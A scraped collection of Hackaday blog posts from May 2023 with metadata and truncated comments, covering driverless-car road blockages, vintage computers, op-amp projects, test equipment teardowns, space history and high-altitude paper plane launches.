It’s no coincidence, then, that San Francisco has become ground zero for stories of self-driving calamities out on the roads. December saw a Cruise vehicle stop at a red light, later refusing to move for
a full thirteen minutes.
January saw a Waymo car block an intersection
at rush hour
, much to the ire of other road users. Others have
blocked buses,
and gaggles of cars have lost their way in
deep fog
.
Emergency responders have come into conflict with the vehicles, too. In concerning scenes, a driverless Cruise vehicle attempted to drive through a zone where firefighters were
battling a blaze downtown.
The vehicle nearly ran over fire hoses, only coming to a stop after one firefighter smashed the car’s windscreen. It’s by no means an isolated incident either. In
a more recent incident
, public safety officials resorted to lighting flares and shouting before eventually getting an autonomous vehicle to halt on an emergency scene. Meanwhile, a Waymo vehicle got caught up near a parade, eventually
responding to hand signals from a police officer
to get out of the way.
Error: Road Not Found
In some of these cases, the cause of the problems is obvious. For example, in heavy fog, a driverless car will obviously lose visibility of the road around it, and it may decide driving further is too dangerous. Alternatively, rain, dirt, or snow may cover a sensor, completely blinding the car. However, unlike a human, it may not have the skills required to safely find a place to stop. To avoid doing harm, the cars may simply come to a halt where they stand, unfortunately blocking roads in the process.
Cruise has spoken openly about the challenges of running self-driving systems in inclement weather. The company already implements air-blow systems and wipers to keep cameras and sensors clean
even in wet and dirty conditions
.
Credit: Cruise
Other issues can be more technical in nature. A cellular connectivity issue may frustrate a driverless car’s navigation, and strip it of up-to-the-minute data on traffic conditions and road closures. There’s also the potential for groupthink causing problems. Such a glitch might send a bunch of driverless cars the wrong way down a street that’s temporarily one-way, for example. It would only take a couple driverless cars to follow each other and the situation would quickly become unrecoverable without human rescue. Humans are readily able to adapt and find their way out of confusing situations. They’ll readily find a way around roadworks, temporary blockages, and vehicles stranded in the roadway.
Driverless cars, on the other hand, are still learning to drive under normal conditions. They’ve barely got that down yet, let alone dealing with the odd random situations that occur all the time out on public roads. If in doubt, they simply cry for help and come to a stop. Untangling these messes can take quite some time for the humans watching on the back end, which simply isn’t good enough.
Indeed, it’s this behaviour that is at the root of many of these incidents. In the event that the world is too complex to understand, or a sensor fails, or something bad happens, driverless cars typically decide to just stop. While this behavior minimises the risk of a dangerous collision or incident, it nonetheless completely frustrates every other user of the road network. In some cases, the cars have been able to get going again after some period of time. In others, teams of support staff have had to deploy to the area
to recover the vehicles.
In the latter case, it’s perhaps useful that many of the prototype driverless cars retain regular steering wheels and pedals, allowing humans to drive them away if all else fails.
The Ask
We’d love to know your insight on this problem. How can driverless cars become rugged individualists that can handle the rough and tumble of everyday city driving? Failing that, is there a better way they could respond to problems that doesn’t involve simply sitting on the brakes in the middle of a busy street? Sound off with your best ideas, such that the world’s finest self-driving developers can crib from the comment section and get this problem sorted toot-sweet! | 133 | 27 | [
{
"comment_id": "6640597",
"author": "Art Mezins",
"timestamp": "2023-05-08T14:11:06",
"content": "It’s a perfect storm of engineering, or rather the lack of cohesion of their convergence into a simpatico of various subdisciplines aimed at robust implementation. Literally, “the devil’s in the detail... | 1,760,372,307.606795 | ||
https://hackaday.com/2023/05/08/the-bicycle-and-more-explained/ | The Bicycle (and More) Explained | Al Williams | [
"Science"
] | [
"animations",
"bicycle",
"physics"
] | They say a picture is worth a thousand words, but an animation, then, must be worth a million. Make that animation interactive, and… well, we don’t know how many words it is worth, but it is plenty! That’s the idea behind [Bartosz Ciechanowski’s] blog where he uses clever interactive animations to explain the surprisingly
complex physics of riding a bicycle
.
The first animation lets you view a rider from any angle and control the rider’s pose. Later ones show you how forces act on the rider and bicycle, starting with example wooden boxes and working back up to the original bike rider with force vectors visible. As you move the rider or the bike, the arrows show you the direction and magnitude of force.
You eventually graduate to close-ups of the tires, the handlebars, and the sprocket. These kinds of animations are to physics what an oscilloscope is to electronics. You don’t have to have a scope to understand electronics, but it sure does help.
Once you are done with the bike — and that’s going to take some time — click on “Archives” and see similar posts on mechanical watches, GPS, internal combustion engines, and more. Really great stuff.
There was a time when
beautiful educational animations
were very expensive to create. They are easier now, but we still don’t see them as often as we’d like for topics like
Fourier transforms
. | 25 | 5 | [
{
"comment_id": "6640595",
"author": "Epuelka",
"timestamp": "2023-05-08T14:06:58",
"content": "I’m glad I don’t have Java enabled in my browser. Kaspersky warned of malicious code.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6640613",
"author": "... | 1,760,372,307.271051 | ||
https://hackaday.com/2023/05/08/can-you-use-a-post-card-with-a-modern-bios/ | Can You Use A POST Card With A Modern BIOS? | Dave Rowntree | [
"computer hacks"
] | [
"bios",
"LPC",
"pc",
"post"
] | [Alessandro Carminati] spends the day hacking Linux kernels, and to such an end needed a decent compilation machine to chew through the builds. One day, this machine refused to boot leaving some head-scratching to do, and remembering the motherboard diagnostics procedures of old,
realized that wasn’t going to work for this modern board
. You see, older ISA-based systems were much simpler, with diagnostic POST codes accessible by sniffing the bus with an appropriate card inserted, but the modern motherboard doesn’t even export the same bus anymore.
See “out 0x80, al” in there? That’s a POST code being written
Do modern machines even run a POST test at all, or are there other standards? After firing up a Linux machine and dumping the first meg of memory address space, it clearly contained some of the BIOS code. [Alessandro] looked at a disassembly of the BIOS update image and saw a similar structure, with POST code data sent to port 0x80 just like machines of old.
But instead of an ISA CPU bus, we have the Low Pin Count (LPC) bus which is used to hook up the ‘super IO’ functions, controlling things such as fans, temp sensors, and other system management functions. It also serves as the connection for the TPM feature, which usually appears as one of the motherboard connectors intended to be user-accessible. It turns out that POST codes can be accessed from this point with an appropriate POST card that can talk LPC.
[Alessandro] demonstrates his faulty motherboard dumping POST codes encoding for a CPU error, giving at least somewhere to look to debug further. This all goes to prove that even though a modern PC may seem totally different from the first PCs from any viewpoint, there still are considerable vestigial remnants baked in there. After all, if it works, then there’s no need to change it. We’re no strangers to PC hacks,
here’s a committed hacker
who after upgrading the RAM beyond that supported by the motherboard, was determined to make his machine boot windows, no matter how much it complained. And won. | 36 | 8 | [
{
"comment_id": "6640530",
"author": "Krzysztof",
"timestamp": "2023-05-08T11:53:38",
"content": "Computers are still a set of gates talting to other sets of gates through wires using mostly ascii codes. “In the beginning was the command line” by Neal Stephenson – a must read for any hacker.",
"... | 1,760,372,307.353608 | ||
https://hackaday.com/2023/05/07/soviet-era-computer-is-both-a-mystery-and-a-disaster/ | Soviet-Era Computer Is Both A Mystery And A Disaster | Bryan Cockfield | [
"Retrocomputing"
] | [
"cm1910",
"computer",
"ddr",
"east germany",
"retrocomputing",
"robotron",
"soviet",
"teardown"
] | There are plenty of bizarre computers around from the 70s through the 90s before the world somewhat standardized around various duopolies of hardware vendors and operating systems. Commodore, Atari, and even Apple had some bizarre machines from this era but for our money, the most unusual systems come out of the Eastern Bloc. We’ve featured plenty of these before,
and the latest is a Robotron CM1910
which comes to us from [Chernobyl Family] via YouTube.
Built in East Germany behind the wall, the Robotron factories had easier access to Soviet than western parts, but the latter
were
also available when necessary. Hence it’s built on an Intel 8086 processor, which seems common enough for the era, but after opening the case some non-standard construction becomes apparent.
The first is a densely-packed array of circuit boards and wiring, far beyond what a western PC might have included in this time. This also partially explains its massive 25 kg weight. It does include a hard drive, two floppy disk drives, a large dedicated graphics card, and a modem which all contribute as well. The overall design philosophy of the machine was a headscratcher too, which would have involved near-complete dismantling of the machine to access or repair some of the parts, as well as some hidden peripheral and drive controllers in questionable locations.
From the looks of it, we doubt this computer will see any uptime anytime soon, although they did at least restore the keyboard. With all of the chips accessible on PCBs, it might be possible to get this machine up and running again although it would take a massive effort thanks to its non-standard design and construction, and might also require help
from builds like thi
s to replace or emulate some of the hardware.
Thanks to [Stephen] for the tip! | 56 | 22 | [
{
"comment_id": "6639855",
"author": "YGDES",
"timestamp": "2023-05-07T11:30:32",
"content": "OK But does it run Wolfenstein 3D ?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6639863",
"author": "The Commenter Formerly Known As Ren",
"times... | 1,760,372,307.440907 | ||
https://hackaday.com/2023/05/06/the-forgotten-rescue-of-the-salyut-7-space-station/ | The Forgotten Rescue Of The Salyut 7 Space Station | Maya Posch | [
"Space"
] | [
"salyut",
"space station"
] | With only two space stations in orbit around Earth today in the form of the International Space Station and the Chinese Tiangong (‘Sky Palace’) station, it’s easy to forget how many space stations were launched in the previous century. And the Soviet Union launched by far the most, as part of the Salyut (Russian for ‘salute’ or ‘fireworks’) program. Although the program entailed both military (Orbital Piloted Station, or OPS) and civilian (Durable Orbital Station, or DOS) stations, it was the civilian stations that saw the most success, as well as the most daring rescue attempt with the
recovering of the Salyut 7
space station.
Salyut 7 (DOS-6) was set to repeat Salyut 6’s success after its launch on April 19th 1982, until disaster struck in February 1985. Due to a series of electrical and other faults ground communication with the space station was cut off, and the at the time unmanned space station began to gradually tumble towards the Earth’s atmosphere. This left those in charge with two options: leave the station to burn up in the atmosphere, or stage a rescue mission.
Ultimately, on June 6th, 1985, Soyuz T-13 launched to rendezvous with Salyut 7. On board were cosmonauts Vladimir Dzhanibekov – who had previously manually docked with Salyut 7 – and Viktor Savinykh. Both men had done all they could to perform a manual docking and attempt to revive the stricken space station. Ultimately they managed to revive the station using what little charge was left in its batteries and the Soyuz’s thrusters, all the while braving freezing temperatures in the dead station’s interior.
Salyut 7 would continue to perform its duties until February 1991, with Mir (DOS-7, launched 1986) as the first modular space station taking over. The final DOS module (DOS-8) that directly traces its lineage to this era is still in orbit today as the
ISS’ Zvezda module
, keeping the Salyut legacy and the bravery of Dzhanibekov and Savinykh alive. | 17 | 6 | [
{
"comment_id": "6639831",
"author": "Dude",
"timestamp": "2023-05-07T08:17:13",
"content": "The station itself was known as Almaz or “diamond” and they were kitted for various purposes for the OPS and DOS missions.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id"... | 1,760,372,307.658411 | ||
https://hackaday.com/2023/05/06/op-amp-challenge-a-low-noise-amplifier-for-those-truly-low-noise-measurements/ | Op-Amp Challenge: A Low Noise Amplifier For Those Truly Low Noise Measurements | Jenny List | [
"contests",
"hardware"
] | [
"instrumentation amp",
"low noise",
"Op Amp Challenge",
"op-amp"
] | When something is described as “Low Noise”, it is by the nature of the language a relative phrase. The higest quality magnetic tape is low noise compared to its cheaper sibling for example, but still has noise many would consider unacceptable. In instrumentation however, “Low Noise” has to really mean just that, with a range of specialist techniques to produce circuitry with a truly low noise level for the most demanding of signal applications. As an example [Floydfish] has created
a low noise instrumentation amplifier
that should serve as a learning exercise for anyone interested in pushing low noise circuitry to the limit.
Anyone who can dredge the hazy recesses of their mind for barely-remembered electronics lectures will know that the overall noise figure of a system is dictated by that of its first component. Thus perhaps the most interesting part of the schematic is at the input, where a row of low-noise op-amps are presented in parallel. We have to admit having to look this one up, to find that it’s a technique whereby the signal outputs of each chip are the same and thus sum, while the noise output of each is different and thus the summed noise output is proportionally lower. This stage is then followed by a buffer and a set of filters for different output frequency ranges.
Our op-amp competition of which this is a part is certainly delivering the goods when it comes to the amny techniques with which these versatile parts can be used. Few of us may need to make such a low noise amplifier, but at least now we’ve learned how. | 8 | 4 | [
{
"comment_id": "6639793",
"author": "Observer",
"timestamp": "2023-05-07T03:39:59",
"content": "The parallel op amp idea caught my attention too, and when I saw it, it triggered an interesting recollection.I recalled something I read, perhaps in to 80s, about efforts to transcribe and preserve Edis... | 1,760,372,307.745112 | ||
https://hackaday.com/2023/05/06/laser-triangulation-makes-3d-printer-pressure-advance-tuning-easier/ | Laser Triangulation Makes 3D Printer Pressure Advance Tuning Easier | Dan Maloney | [
"3d Printer hacks"
] | [
"artifact",
"laser",
"line scanner",
"nozzle camera",
"opencv",
"pressure advance"
] | On its face, 3D printing is pretty simple — it’s basically just something to melt plastic while being accurately positioned in three dimensions. But the devil is in the details, and there seems to be an endless number of parameters and considerations that stand between the simplicity of the concept and the reality of getting good-quality prints.
One such parameter that had escaped our attention is “pressure advance,” at least until we ran into [Mike Abbott]’s work on
automating pressure advance calibration on the fly
. His explanation boils down to this: the pressure in a 3D printer extruder takes time to both build up and release, which results in printing artifacts when the print head slows down and speeds up, such as when the print head needs to make a sharp corner. Pressure advance aims to reduce these artifacts by adjusting filament feed speed before the print head changes speed.
The correct degree of pressure advance is typically determined empirically, but [Mike]’s system, which he calls Rubedo, can do it automatically. Rubedo uses a laser line generator and an extruder-mounted camera (a little like
this one
) to perform laser triangulation. Rubedo scans across a test print with a bunch of lines printed using different pressure advance values, using OpenCV to look for bulges and thinning caused when the printer changed speed during printing.
The video below gives a lot of detail on Rubedo’s design, some shots of it in action, and a lot of data on how it performs. Kudos to [Mike] for the careful analysis and the great explanation of the problem, and what looks to be a quite workable solution.
Thanks to [Keith Olson] for the tip. | 8 | 4 | [
{
"comment_id": "6639741",
"author": "Leandro",
"timestamp": "2023-05-06T23:53:38",
"content": "Where is the printed part that was printed using this method to compare with? Otherwise it is just another thing that doesn’t add much.",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,372,307.704562 | ||
https://hackaday.com/2023/05/06/tiny-3d-printed-gaming-pc-contains-real-retro-hardware/ | Tiny 3D Printed Gaming PC Contains Real Retro Hardware | Robin Kearey | [
"Retrocomputing"
] | [
"3D printed case",
"486",
"486DX4",
"computer tower",
"industrial pc",
"retro pc"
] | Emulators are easy and convenient, but for some retrocomputing enthusiasts nothing comes close to running classic software on actual era-appropriate hardware. This can become a problem, though, for those into vintage PC gaming: old PCs and their monitors are notoriously large and heavy, meaning that even a modest collection will quickly fill up a decent family home. There is a solution however, as [The Eric Experiment] demonstrates in his latest video. He designed and built
a 3D-printed mini PC that runs on an actual 486 processor
.
An ordinary desktop motherboard would have required a rather large case to begin with, so [Eric] started his project by buying an old industrial PC board. Such a device has the processor and all main motherboard components sitting on an ISA card, which then connects to other ISA cards through a backplane. This way, a complete system with expansion cards can be made way more compact than even the sleekest desktop PCs of the time. An SD-card-to-IDE converter makes for an extremely slim hard drive replacement, while a Gotek floppy emulator allows the system to boot as if there’s actually a floppy drive present.
Even the side panels slide in exactly like they do on real PC cases.
All of this is pretty neat to begin with, but by far the most impressive parts of the Tiny 486 project are the enclosures that [Eric] designed for the PC and its accompanying monitor. Both were modelled off real-world examples and are accurate down to the smallest details: the tilting stand that clips onto the base of the monitor for instance, or the moving latch on the faux 5.25″ floppy drive. That latch operates a cleverly hidden door that reveals the USB connector for the floppy emulator. The compulsory seven-segment LED display on the mini tower’s front panel now finally serves a useful purpose – indicating which floppy image is currently active.
Sporting an Intel 486-DX4 100 MHz processor, 32 MB of RAM, a Tseng ET4000 video card and an ESS Audiodrive for sound, the tiny 486 can run DOS or Windows 95, although performance in the latter is a bit limited due to the lack of a local-bus video card. It’s perfectly fine for most DOS games though, and a lot more practical than a full-sized desktop PC.
There are several ways to make a tiny game PC, like using
PC/104 standard boards
or
repurposing old network equipment
. The crucial part needed to turn it into a gaming machine is a proper sound card, which you can even
build from scratch if needed
. Thanks for the tip, [Nathan]! | 13 | 5 | [
{
"comment_id": "6639683",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-05-06T21:02:27",
"content": "The Title Photo needs a banana for scale.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6639714",
"author": "Hirudinea",
"times... | 1,760,372,307.851571 | ||
https://hackaday.com/2023/05/06/pc-classics-right-in-your-browser-with-emuos/ | PC Classics, Right In Your Browser With EmuOS | Donald Papp | [
"Retrocomputing",
"Software Hacks"
] | [
"abandonware",
"classic",
"dos",
"emulation",
"EmuOS",
"pc gaming",
"vintage",
"windows"
] | [Emupedia]’s work to preserve computer history by way of making classic and abandoned games and software as accessible as possible is being done in a handy way: right in your browser with
EmuOS
.
A few moments of BIOS startup kicks off EmuOS right in a browser window.
Doing things this way has powerful “Just Works” energy. Visit that link in a modern browser and in no time at all you’ll be looking at a Windows 95 (or Windows 98, or Windows ME) desktop, filled with a ton of shortcuts to pre-installed and ready-to-run classic software. Heck, you can even keep it simple and be playing the original Microsoft Solitaire in no time flat. There is also a whole ton of DOS software waiting to be fired up, just double-click the DOSBox icon, and browse a huge list. The project is still in development, so not
everything
works, but the stuff that does is awfully slick.
Here’s some additional background
that goes into more detail about the project and its capabilities, but if you’d prefer to just click around to explore,
here’s the main link again
(and
here’s a list of mirrors
.)
If OS emulation is your thing, don’t miss
emulating the IBM PC on an ESP32 microcontroller
. And if you’re more into lesser-known vintage operating systems, how about
re-inventing PalmOS to run on x86 architecture
? | 12 | 6 | [
{
"comment_id": "6639634",
"author": "RW ver 0.0.3",
"timestamp": "2023-05-06T17:30:31",
"content": "What differentiates this from projects likehttps://www.pcjs.org/or the in browser emulation at archive dot org ?Or why would I want to use this rather than RetroPI/RetroOrangePi etc or one of those m... | 1,760,372,307.800155 | ||
https://hackaday.com/2023/05/06/the-new-hotness/ | The New Hotness | Elliot Williams | [
"Hackaday Columns",
"Microcontrollers",
"Parts",
"Rants",
"Slider"
] | [
"blue pill",
"CH32V003",
"chip shortage",
"microcontroller",
"newsletter",
"stm32"
] | If there’s one good thing to be said about the chip shortage of 2020-2023 (and counting!) it’s that a number of us were forced out of our ruts, and pushed to explore parts that we never would have otherwise. Or maybe it’s just me.
Back in the old times, I used to be a die-hard Atmel AVR fan for small projects, and an STM32 fan for anything larger. And I’ll freely admit, I got stuck in my ways. The incredible abundance of dev boards in the $2 range also helped keep me lazy. I had my thing, and I was fine sticking with it, admittedly due to the
low price of those little blue pills
.
And then came the drought, and like everyone else, my stockpile of microcontrollers started to dwindle. Replacements at $9 just weren’t an option, so I started looking around. And it’s with no small bit of shame that I’ll admit that I hadn’t been keeping up with the changes as much as I should have. Nowadays, it’s all ESP32s and RP2040s over here, and granted there’s a bit of a price bump, but the performance is there in abundance. But I can’t help feeling like I’m a few years back of the cutting edge.
So when I see work like what [CNLohr] and [Bitluni] are
doing with the ultra-cheap CH32V003 microcontrollers
, it makes me think that I need to start filling in gaps in my comfortable working-set of chips again. But how the heck am I supposed to keep up? And how do you? It took a global pandemic and silicon drought to force me out of my comfort zone last time. Can the simple allure of dirt-cheap chips get me out? We’ll see!
This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on
the web version of the newsletter
.
Want this type of article to hit your inbox every Friday morning?
You should sign up
! | 35 | 16 | [
{
"comment_id": "6639591",
"author": "Harry",
"timestamp": "2023-05-06T14:48:05",
"content": "Unless you’re doing something at a large scale the price difference between an “ultra-cheap” chip vs something slightly pricier you already know how to use isn’t very important. Unless you’re getting loads ... | 1,760,372,308.276672 | ||
https://hackaday.com/2023/05/07/usb-meets-core-memory-in-a-vintage-scope/ | USB Meets Core Memory In A Vintage ‘Scope | Jenny List | [
"classic hacks"
] | [
"tektronix",
"test equipment",
"usb"
] | It’s normal today for even relatively modest instruments to have some form of computer control capability over Ethernet or USB. But five decades ago this was by no means a given, and when Tektronix shipped their P7001 digitiser module for their high-end oscilloscopes in 1971, they were initially designed to interface with a minicomputer. Not everybody has a PDP/11 lying around in 2023, but [Holger Lübben] wasn’t fazed by this.
He set about creating a USB interface for this ancient piece of test equipment
.
At its heart is a Teensy 4.1 which does the job of interfacing with the Tektronix 16-bit bus through a level shifting transceiver. The software for the Teensy comes with some demos, but sadly not the Tek BASIC of the original. We’re particularly impressed with the care to make the card frame for the module resemble as closely as possible an original Tektronix product.
We’re guessing very few of you will have this ancient test module on your bench, but the depth into which he goes over its internal design and programming makes this very much worth a read.
If you fancy more vintage Tek goodness, take a look at this current probe
. | 5 | 4 | [
{
"comment_id": "6640345",
"author": "Marvin",
"timestamp": "2023-05-08T05:38:57",
"content": "Wow, this is polished!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6640352",
"author": "Manfred",
"timestamp": "2023-05-08T05:49:21",
"content": "Work... | 1,760,372,307.982532 | ||
https://hackaday.com/2023/05/07/diy-metal-detector-2/ | DIY Metal Detector | Al Williams | [
"Arduino Hacks",
"ARM"
] | [
"metal detector"
] | If you want to get rich by hunting with a metal detector, you might want to consider how much you invested in the hardware to start with. Finding a tin can with a $200 detector might not make economic sense. But building a metal detector yourself doesn’t have to be hard, as [Mirko] shows in a recent post. His
STM32-based pulse induction metal detector
looks good and works well, as you can see in the video below.
[Mirko] reports that the device can detect a coin at 30 cm and a large metal object at more than 80 cm. The project uses the Arduino IDE and a Blue Pill STM32 module. The project looks good with an LED module and a rotary encoder to set sensitivity.
Pulse induction metal detectors use a single coil to send and receive short pulses. This differs from the more common BFO-style which uses two frequencies that produce a beat frequency that changes in the presence of metal. These use two coils and are more affected by mineralization — the interference caused by minerals in the soil — and general interference. Typically, BFO detectors have less sensitivity, especially at a distance.
This isn’t the first
pulsed induction detector
we’ve seen. Of course, for a simple one you can — to forestall comments —
use a 555
. | 19 | 6 | [
{
"comment_id": "6640196",
"author": "Karsten Johansson",
"timestamp": "2023-05-08T02:40:40",
"content": "Can someone explain how some of the more advanced metal detectors seemingly differentiate between junk (pull tabs, for example) and specific worthwhile metal objects?",
"parent_id": null,
... | 1,760,372,308.107691 | ||
https://hackaday.com/2023/05/07/hackaday-links-may-7-2023/ | Hackaday Links: May 7, 2023 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links",
"Slider"
] | [
"ai",
"Boca Chica",
"Broken Arrow",
"CCD",
"concert",
"fMRI",
"fuse puller",
"hackaday links",
"laser",
"machine learning",
"Minuteman",
"robot fail",
"skynet",
"smartphone",
"SpaceX",
"starship"
] | More fallout for SpaceX this week after their Starship launch attempt, but of
the legal kind
rather than concrete and rebar. A handful of environmental groups filed the suit, alleging that the launch generated “intense heat, noise, and light that adversely affects surrounding habitat areas and communities, which included designated critical habitat for federally protected species as well as National Wildlife Refuge and State Park lands,” in addition to “scatter[ing] debris and ash over a large area.”
Specifics of this energetic launch aside, we always wondered about the choice of Boca Chica for a launch facility. Yes, it has all the obvious advantages, like a large body of water directly to the east and being at a relatively low latitude. But the whole area is a wildlife sanctuary, and from what we understand there are still people living pretty close to the launch facility. Then again, you could pretty much say the same thing about the Cape Canaveral and Cape Kennedy complex, which probably couldn’t be built today. Amazing how a Space Race will grease the wheels of progress.
From the Dystopia du Jour Department, new this week from the University of Texas of
a “brain activity decoder”
that can read people’s thoughts using AI. Lest anyone panic about having your thoughts read covertly, relax — the technique requires a functional magnetic resonance imaging (fMRI) scanner. So it’s not likely that anyone will be hacking your head anytime soon. But the method is still interesting.
Models are built from extensive training sessions that involve volunteers listening to hours of podcasts while in the fMRI machine. Later on, when the volunteers listen to a new podcast or even just imagine a story in their heads, the machine generates an approximation of the thoughts based on the new fMRI data. The results are pretty decent, with the decoded thoughts sometimes exactly matching the stimulus; but, being based on the same technology as ChatGPT, sometimes the decoded thoughts were comically incorrect. The researchers hope the technology can bring speech back to those with brain injuries, and are hopeful that fNIRS (functional near-IR spectroscopy) will provide a more portable solution. Of course, this just means we’ve got to do an article on fNIRS so we can understand what that’s all about.
Then again, maybe this whole dystopia thing won’t be
that
bad — at least not judging by
this robo face-plant
. The bot in question is Agility Robotics’ Digit, the creepy backward-knees, semi-anthropomorphic robot that seems targeted at the collaborative robotics market. Digit was working in a mock warehouse setup at ProMat, a manufacturing and supply chain trade show, when it suffered the mishap. From the video, it doesn’t appear that anything broke, at least not externally. It almost seemed like the right knee joint gave out as soon as Digit put weight on it. Agility reps were apparently quite pleased that Digit worked for 20 hours straight before failing, but it’ll likely have to do better than that in a production environment. But whatever — if this is the best that Skynet can throw at us when it decides to turn out the lights, we’ll be fine.
We spotted a story on PetaPixel about
a smartphone camera that was destroyed by a laser
that makes us just cringe — and not just because it shows someone recording video in portrait mode. It happened at a concert in Naples back in April, where the concertgoer was using his camera to record the proceedings when a laser beam swept vertically through the frame several times. This appears to have permanently fried the image sensor in the camera; presumably at least some of the cameras around this victim were zapped too. If the laser could do that to a CCD, what did it do to all those retinas?
And finally, if the tool’s not right, the guy’s not bright. Our favorite YouTube historian, Lance “The History Guy” Geiger had a video on
the 1964 Minuteman missile accident
, a Broken Arrow incident that we’d never heard about. We’d heard about the incident where a missile tech dropped a wrench into a Titan missile silo and nearly blew up Arkansas —
Lance covered that one
, too — but this one is somehow more insidious. We won’t spoil the surprise, but suffice it to say that when the manual says to use a fuse puller, use a fuse puller, not a screwdriver. | 39 | 6 | [
{
"comment_id": "6640029",
"author": "Hirudinea",
"timestamp": "2023-05-07T23:35:56",
"content": "Holy crap, I expected concerts to make you deaf but not blind as well!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6640392",
"author": "pelrun",
... | 1,760,372,308.055965 | ||
https://hackaday.com/2023/05/07/op-amp-challenge-compare-op-amps-by-listening-to-them/ | Op-Amp Challenge: Compare Op-Amps, By Listening To Them | Jenny List | [
"digital audio hacks"
] | [
"audio",
"headphone amplifier",
"op-amp"
] | In the world of audiophilia there are arguments that rage over the relative merits of particular components. Sometimes this can reach silly levels as in the high-end ALPS pot we once saw chosen as a volume control whose only task was to be a DC voltage divider feeding a pin on a DSP, but there are moments where such comparisons might have a bit of merit. To allow the comparison of different op-amps in a headphone amplifier, [Stephan Martin] has
created a stereo amplifier board complete with sockets to take single or dual op-amp chips
.
The circuit is based upon
a design from the 1990s
which as far as we can see is a pretty conventional non-inverting amplifier. It has an on-board op-amp to create a virtual ground, and three sockets for either two single or one dual op-amp to create a stereo headphone amplifier.
So the burning question is this: will you notice a difference? We’re guessing that assuming the op-amps under test are to a sufficient specification with a high enough impedance input and enough output current capability, the differences might be somewhat imperceptible without an audio analyser or the hearing of a ten-year-old child.
Need more of an audio fix?
Try our Know Audio series
. | 31 | 9 | [
{
"comment_id": "6639980",
"author": "AudioFine",
"timestamp": "2023-05-07T20:46:09",
"content": "But the op-amp sockets aren’t gold plated! And what about that questionable power supply? And the different length traces!I’ve heard some ridiculous audiophiles in my time.",
"parent_id": null,
... | 1,760,372,308.341927 | ||
https://hackaday.com/2023/05/07/a-7-ghz-signal-analyser-teardown-and-a-trivial-repair/ | A 7 GHz Signal Analyser Teardown And A Trivial Repair | Dave Rowntree | [
"Teardown",
"Tool Hacks"
] | [
"agilent",
"cross-correlation",
"E5052",
"phase noise",
"power divider",
"teardown"
] | [Shahriar] of
The Signal Path
is
back with another fascinating video teardown and analysis for your viewing pleasure
. (Embedded below.) This time the target is an Agilent E5052A 7 GHz signal Source/Analyser which is an expensive piece of kit not many of us are fortunate enough to have on the bench. This particular unit is reported as faulty, with a signal power measurement that is completely off-the-rails wrong, which leads one to not trust anything the instrument reports.
After digging into the service manual of the related E5052B unit, [Shahriar] notes that the phase noise measurement part of the instrument is totally separate from the power measurement, only connected via some internal resistive power splitters, and this simplifies debugging a lot. But first, a short segue into that first measurement subsystem, because it’s really neat.
Cross-correlating time-gated FFT (TG-FFT) subsystem at the top, dodgy power detector at the bottom
A traditional swept-mode instrument works by mixing the input signal with a locally-sourced low-noise oscillator, which when low-pass filtered, is fed into a power meter or digitizer. This simply put, down-converts the signal to something easy to measure. It then presents power or noise as a function of the local oscillator (LO) frequency, giving us the spectral view we require. All good, but this scheme has a big flaw. The noise of the LO is essentially added to that of the signal, producing a spectral noise floor below which signals cannot be resolved.
The E5052 instrument uses a cunning cross-correlation technique enabling it to measure phase noise levels below that of its own internal signal source. The instrument houses an Oven-Compensated Crystal Oscillator (OCXO) for high stability, in fact, two from two different vendors, one for each LO, and mounted perpendicular to each other. The technique splits the input signal in half with a power splitter, then feeds both halves into identical (apart from the LOs) down-converters, the outputs of which are fed into a DSP via a pair of ADCs. Having identical input signals, but different LOs (with different phase noise spectra) turns the two signals from a correlated pair to an uncorrelated pair, with the effects of chassis vibration and gravity effects also rolled in.
The DSP subtracts the uncorrelated signal from the correlated signal, therefore removing the effect of the individual LO’s effect on the phase noise spectrum. This clever technique results in a phase noise spectrum below that of the LOs themselves, and a good representation of the input signal being measured.
This is what a DC-7GHz resistive power divider looks like. Notice the inductive matching section before each resistor branch.
Handily for [Shahriar] this complex subsystem is totally separate from the dodgy power measurement. This second system is much simpler, being fed with another copy of the input signal, via the main resistive power splitter. This second feed is then split again with a custom power divider, which upon visual inspection of the input SMA connector was clearly defective. It should not wobble. The root cause of the issue was a cold solder joint of a single SMA footprint, which worked loose over time. A little reflow and reassembly and the unit was fit for recalibration, and back into service.
We’ve seen phase noise measurements a few times on these pages, like
debugging this STM32 PLL issue
. | 15 | 6 | [
{
"comment_id": "6639931",
"author": "Antron Argaiv",
"timestamp": "2023-05-07T17:21:25",
"content": "a short “segue”, I assume, since there’s no other reference to Segways for little people?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6639952",
"... | 1,760,372,308.404199 | ||
https://hackaday.com/2023/05/07/launching-paper-planes-from-way-waaaaaay-up/ | Launching Paper Planes From Way, Waaaaaay Up | Donald Papp | [
"Space"
] | [
"atmosphere",
"iss",
"paper plane",
"space",
"stratosphere",
"weather balloon"
] | Every now and again we stumble across something a bit unexpected, and today that’s the fact that there have been
quite a few efforts at launching paper planes from as close to space as possible
. The current record for the highest paper plane launch is a whopping altitude of 35,043 meters.
That altitude is considerably short of what would be called “space”, but it’s still an awfully long way up and the air there is very thin compared to on the surface. Space is generally (but not universally) considered to be beyond 100 km above sea level, a human-chosen boundary known as the
Kármán line
. 35 km is a long ways into the
stratosphere
, but still within Earth’s atmosphere.
Even so, that doesn’t mean there haven’t been efforts to go considerably higher. There was a Japanese proposal to drop airplanes made from special heat-resistant paper from the International Space Station, roughly 400 km above Earth. Success would show that low-speed, low-friction atmospheric reentry is feasible — for pieces of paper, anyway. But one of the challenges is the fact that there is no practical way to track such objects on their way down, and therefore no way to determine where or when they would eventually land.
There have been many other high-altitude paper plane launches, but the current record of 35,043 meters was
accomplished by David Green in the United Kingdom
as part of a school project. Such altitudes are in the realm of things like weather balloons, and therefore certainly within the reach of hobbyists.
As for the airplanes themselves, the basic design pictured here probably won’t cut it, so why not brush up on designs with the
Paper Airplane Design Database
? Even if you don’t send them into the stratosphere (or higher), you might find something worth putting through a
